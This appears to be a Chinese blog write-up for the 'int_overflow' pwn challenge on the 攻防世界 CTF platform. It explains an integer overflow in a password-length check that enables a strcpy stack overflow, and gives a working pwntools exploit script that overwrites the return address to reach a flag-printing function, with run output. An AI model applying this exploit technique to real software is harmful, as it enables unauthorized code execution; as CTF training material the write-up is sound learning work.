美文网首页
攻防世界 int_overflow wp

攻防世界 int_overflow wp

作者: 111p1kk | 来源:发表于2019-05-28 20:55 被阅读0次

    0x01寻找漏洞

    checksec
    kk@ubuntu:~/Desktop/black/GFSJ/int_overflow$ checksec int_overflow 
    [*] '/home/kk/Desktop/black/GFSJ/int_overflow/int_overflow'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    
    ida分析

    strcpy处有栈溢出。v3为无符号整型,表示s(即你输入的passwd)的长度,可能存在整数溢出

    0x02利用思路

    要想利用到strcpy这一步,要么你输入的passwd长度>3 && <=8,要么使passwd的长度过长,而v3最大可以存的长度为255,所以直接在v3处造成整数溢出进入else,整数溢出需要255,返回地址需要4字节,所以passwd长度达到259即可
    第一种passwd太短,无法利用进行改写程序流,我们使用第二种思路。

    程序中存在,可以将返回地址指向what_is_this()


    cat flag

    0x03攻击

    exp如下
    #!usr/bin/python
    
    from pwn import *
    #context.log_level = "debug"
    
    io = remote("111.198.29.45", 53168)
    # io = process("./int_overflow")
    
    cat_flag_addr = 0x0804868B
    
    io.sendlineafter("Your choice:", "1")
    
    io.sendlineafter("your username:", "kk")
    
    io.recvuntil("your passwd:")
    payload = "a" * 0x14 + "aaaa" + p32(cat_flag_addr)
    payload = payload.ljust( 259,"a")
    
    io.sendline(payload)
    
    io.recv()
    
    io.interactive()
    
    kk@ubuntu:~/Desktop/black/GFSJ/int_overflow$ python exp.py 
    [+] Opening connection to 111.198.29.45 on port 53168: Done
    [*] Switching to interactive mode
    Success
    cyberpeace{自己试试口喜口喜}
    [*] Got EOF while reading in interactive
    $  
    

    相关文章

      网友评论

          本文标题:攻防世界 int_overflow wp

          本文链接:https://www.haomeiwen.com/subject/cxpjtctx.html